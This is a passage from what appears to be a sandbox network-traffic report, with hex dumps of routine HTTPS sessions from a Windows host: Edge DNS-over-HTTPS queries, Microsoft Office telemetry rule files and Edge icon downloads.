2024-11-16 22:36:34 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-16 22:36:34 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-16 22:36:34 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-16 22:36:34 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49856	162.159.61.3	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 22:36:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 06 61 73 73 65 74 73 03 6d 73 6e 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 55 00 0c 00 51 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: assetsmsncom)UQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49857	162.159.61.3	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 22:36:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 06 61 73 73 65 74 73 03 6d 73 6e 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 55 00 0c 00 51 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: assetsmsncomA)UQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49855	162.159.61.3	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 22:36:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 6e 74 70 03 6d 73 6e 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 58 00 0c 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ntpmsncom)XT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49858	162.159.61.3	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 22:36:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 6e 74 70 03 6d 73 6e 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 58 00 0c 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ntpmsncomA)XT

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:34 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 200f6d4e-701e-003e-2fb8-3779b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223634Z-16547b76f7f7zzl8hC1DFWmtag00000002ag00000000ac6r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:34 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:34 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 7d8b983e-001e-0066-2ed2-37561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223634Z-1866b5c5fbblmztchC1DFWs6v400000001z000000000dekb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:35 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:34 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:34 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: d0d1667b-a01e-000d-1d09-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223634Z-16547b76f7fxqj4khC1DFWpypw00000000vg0000000037h3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:35 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:35 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:35 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 32d33ebf-401e-0048-7d9e-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223635Z-16547b76f7fbkfmzhC1DFWm9tw000000035g0000000002qu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:35 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:35 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:35 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223635Z-1866b5c5fbb2t6txhC1DFWa2qc00000003fg000000006nmz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:35 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49868	13.107.246.57	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:35 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:35 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:35 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: a413ac11-a01e-006a-5a66-3834ac000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T223635Z-16547b76f7fffb7lhC1DFWdsxg00000003m000000000aerq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 22:36:35 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49869	13.107.246.57	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:35 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:35 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:35 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: e64904fa-f01e-0014-7ca6-37ab63000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T223635Z-16547b76f7ffx24hhC1DFW9px4000000031g000000003sdu Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:35 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49864	13.107.246.57	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:35 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
